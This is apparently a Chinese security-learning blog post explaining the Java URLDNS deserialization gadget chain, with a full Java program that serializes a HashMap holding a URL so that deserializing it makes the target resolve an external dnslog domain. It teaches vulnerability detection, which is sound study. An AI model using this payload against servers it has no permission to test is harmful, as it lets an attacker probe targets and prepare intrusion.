获取中...

-

Just a minute...

在一些测试环境之中 目标是否发生反序列化是无回显的 是否有一种办法能够测试目标是否能够发生反序列化呢?
有的兄弟有的
如果我们能让目标服务器通过反序列化发起一次DNS解析请求 那么在接收到请求的时候不就知道了吗
那么这就是我们需要学习的URLDNS链的作用之处
前置知识

  • java反序列化简单了解
  • 反射简单了解
    这两部分知识博主都做了简单的讲解 可以参考我的博文

作用类选择

在这里我们选择HashMap链作为我们的作用链
因为我们知道在反序列化之中如果想我们反序列化出来的类执行其中的恶意代码 这个类之中就要有一个特殊的readObject()方法
而这个HashMap之中就是这样构造了一个特殊钩子 并且其是JDK原生类 不依赖任何第三方库 几乎所有反序列化场景都能触发

构造链

我们先理解这个HashMap的hash.put(key,value)方法 其实说简单了就是将一个数值对存入哈希表之中
我们来跟进一下看看
可以看到当这个传入的key不为空的时候会调用hashCode 这个hashCode其实就是生成一个快速定位对象的索引标签 为哈希表之中的对象设置一个方便快速查找的索引
那么现在我们知道我们可以构造一个特殊的类作为这里的key值 但是这个类不是随随便便选择的 回忆我们的目的:让目标服务器通过反序列化发起一次DNS解析请求 我们需要找一个类的hashcode()方法能够达成这个目的的
那么我们接着步入看看这个hashCode方法
看到这个方法是在Object类之中的 并且native修饰符代表这是一个平台相关的底层代码 这个范围太笼统了 看不出在URLDNS链之中这个方法的调用
我们点击代码左侧这个蓝色圈圈 查看一下哪些类重写的hashCode方法 能够被利用 在这里由于我们是带着答案看问题 所以我们直接定位到URL类

可以看到在URL类的hash.Code之中 如果hashCode得到值不等于-1(也就是之前已经计算过这个hashCode了 系统之中有缓存了)就会直接返回hashCode值 否则会第调用handler.hashCode
在这里出现了一个带有.的方法 那我们就要看看这个handler是什么类的对象
将光标置于此对象上方 即可发现这是URLStreamHandler类的实例化对象 那么我们就去URLStreamHandler查看一下其重写的hashCode逻辑是啥
这一步的逻辑实际上依然是在计算一个URL的哈希值 只不过是将URL拆分成几个部分 每部分分别计算哈希 最后合在一起
对于URLDNS链而言 其中唯一关键的也就是这一句

1
InetAddress addr = getHostAddress(u);

这也是此链的出口(整条链最终指向危险操作的那个方法调用)为什么? 我们继续进入这个方法看看
可以看到在getHostAddress之中有实现DNS查询的javaAPI InetAddress.getByName(host)
那么到这一步 这个API就会进行DNS解析 于是我们的目的就达到了
那么现在我们重写理一遍整个链子

1
2
3
4
5
6
7
8
9
目标反序列化 HashMap
→ HashMap.readObject()
→ hash(key)
→ key.hashCode()
→ URL.hashCode()
→ URLStreamHandler.hashCode(URL)
→ getHostAddress(URL)
→ InetAddress.getByName(host)
→ 发起 DNS 查询

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package java_URL;  

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSDemo {
public static void main(String[] args) throws Exception {
URL url = new URL("http://ifwtcgascb.iyhc.eu.org"); // 替换成你的

// 通过反射获取 URL 类的 hashCode 私有字段
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);

// 把 hashCode 改为一个非 -1 的值,防止 put 时触发 DNS hashCodeField.set(url, 123); // 现在 hashCode = 123
// 创建 HashMap,并把 URL 对象作为 key 放入
HashMap<URL, String> map = new HashMap<>();
map.put(url, "test"); // put 会调用 url.hashCode(),但因为 hashCode 是 123,直接返回,不触发 DNS
// put 完成后,将 hashCode 恢复成 -1,以便反序列化时重新计算
hashCodeField.set(url, -1); // 现在 hashCode = -1
// 序列化这个 HashMap 到字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
byte[] payload = baos.toByteArray();

System.out.println("Payload 构造完成,长度:" + payload.length + " 字节");

// 本地反序列化,模拟目标服务器行为
System.out.println("即将反序列化...");
ByteArrayInputStream bais = new ByteArrayInputStream(payload);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // 此处触发 DNS 查询
ois.close();

System.out.println("反序列化完成,请检查你的 dnslog 平台是否收到记录。");
}
}

可以使用yakit进行Dnslog查询
使用yakit的DNSLog模块 会自动生成一个随机子域名 可以使用这个来完成复现 一些我常见的DNSlog平台我实际测试登不上去

设置hashCode为-1

我们注意到上述代码逻辑之中有一段

1
2
3
4
5
6
// 把 hashCode 改为一个非 -1 的值,防止 put 时触发 DNS        hashCodeField.set(url, 123);   // 现在 hashCode = 123  
// 创建 HashMap,并把 URL 对象作为 key 放入
HashMap<URL, String> map = new HashMap<>();
map.put(url, "test"); // put 会调用 url.hashCode(),但因为 hashCode 是 123,直接返回,不触发 DNS
// put 完成后,将 hashCode 恢复成 -1,以便反序列化时重新计算
hashCodeField.set(url, -1); // 现在 hashCode = -1

这一段反复横跳是为什么呢
首先我们要搞清楚 我们想做的是通过反序列化让目标服务器产生DNS请求 以此试探出目标服务器能否进行反序列化操作
但是在hash方法的代码逻辑中我们发现如果hashCode的值是-1 那么当你put的时候 就会触发DNS
然而在URL类里面有一个私有的实例字段

所以我们需要在put之前将其设置为一个非-1的任意数 让代码以为哈希值已经计算 不会触发DNS
之后在序列化之前设置回-1 以便反序列化之后触发DNS

运行逻辑

我们将一个域名当作key值传入 并且通过设置hashCode不为-1的方式使得在反序列化之前不会触发DNS 此时我们序列化 将其转换成一段二进制字节流 将字节流传入目标服务器 假设目标服务器上存在readObject

1
2
ObjectInputStream ois = new ObjectInputStream(输入流);
ois.readObject();

当其发生反序列化的时候 由于HashMap类之中有特殊的readObject方法 就会之星其中的DNS查询·指令 最终我们在我们的DNSLOG平台上查看到请求 成功证明目标服务器存在反序列化

小结

至此我们就学完了UDLDNS链的绝大部分知识点
UDLDNS链是java反序列化利用链之中最基础 最稳定的一条链 其核心价值在于通过DNS请求探测目标是否存在反序列化漏洞 更重要的是要理解“从源码之中寻找可利用的调用链” 这也是后续我们学习CC链时候必备的能力

参考文章

相关文章
评论
分享
  • 社会工程学——cupp获取windows密码

    这其实本质是一个社会工程学问题至于为什么 在文章的最后想必大家也能理解假设现在有一个人短时间离开电脑之后并未锁屏 那么旁人就可以通过U盘拷贝重要密码文件的方式获取他的密码 密码文件获取windows并不会直接存储你的明文密码 它存的是...

    社会工程学——cupp获取windows密码
  • 无痛入门java反序列化

    在学习URLDNS链以及之后的cc链之前 我们得先掌握java反序列化的基础知识 序列化和反序列化序列化把一个java对象转换成字节序列以便存储或者通过网络传输反序列化把字节序列还原成java对象 12序列化:对象->字符串反...

    无痛入门java反序列化
  • 用租房视角学习动态代理

    关于这一部分的知识点 我们先从静态代理说起 静态代理什么是代理? 代理就是:不操作目标对象而是通过一个中间人(代理)来间接操作最常见的现实例子就是租房问题:你要租房子 不需要直接找到房东 而是通过租房中介 中介帮你去和房东沟通 那么...

    用租房视角学习动态代理
  • 动态加载字节码

    动态加载字节码是一种让JVM可以接收由程序在运行时动态产生的字节数组并将其装在的能力 本义是让程序变得更加灵活 但是也产生了一定的安全问题 核心方法在java.lang.ClassLoader类中有一个方法 1protected fi...

    动态加载字节码
  • 类加载机制漫谈

    解释java字节码为什么需要编译成class文件我们首先要理解JVMjava是是一种混合型语言有编译的步骤也有解释步骤我们编写的java文件需要被编译成class文件之后才能被JVM运行 什么是class文件传统编译型语言(C C++...

    类加载机制漫谈
  • 反射随笔

    反射概念在java之中 万物都是对象 包括“类本身也是一个对象”(属于java.lang.Class类的对象) 反射的本质就是在程序运行期间 通过操控这个Class对象 反向解析和操控它所代表的哪个类里面的内容(构造器,属性,方法) ...

    反射随笔
  • LangChain反序列化

    最近在打SCTF的时候遇到一个LangChain反序列化的题目 比较新颖 于是想着学习一下 LangChain介绍LangChain是一个用于构建大语言模型应用的开源框架 通过这个可以把常用的组件抽象成可串联的链(Chain)举个例...

    LangChain反序列化
  • filter-chain漏洞演示

    这个漏洞链被称为CNEXT 由安全员Charles Fol披露 核心思想是利用系统内置的看似无害的模块(流过滤器)的巧妙组合 在受限的web环境之中执行命令 原理讲解filter协议对于filter伪协议 我们肯定都不陌生这个伪协议允...

    filter-chain漏洞演示
  • 死亡绕过

    前言以及环境介绍本文是对p神文章谈一谈php://filter的妙用 | 离别歌知识点的学习 本文主要介绍使用filter伪协议进行死亡绕过的三种方式 测试环境:小皮面板测试代码:exit.php 12345<...

    死亡绕过
  • Phar反序列化漏洞演示

    前言我们在之前学习的反序列化漏洞 无一不是利用了unserialize()这个函数 但是我们没有去考虑 假设此时的题目并没有给我们这个函数 我们还能否实现反序列化呢 其实是可以的 在2018年的BlackHat 大会上 Sam Tho...

    Phar反序列化漏洞演示
Please check the parameter of comment in config.yml of hexo-theme-Annie!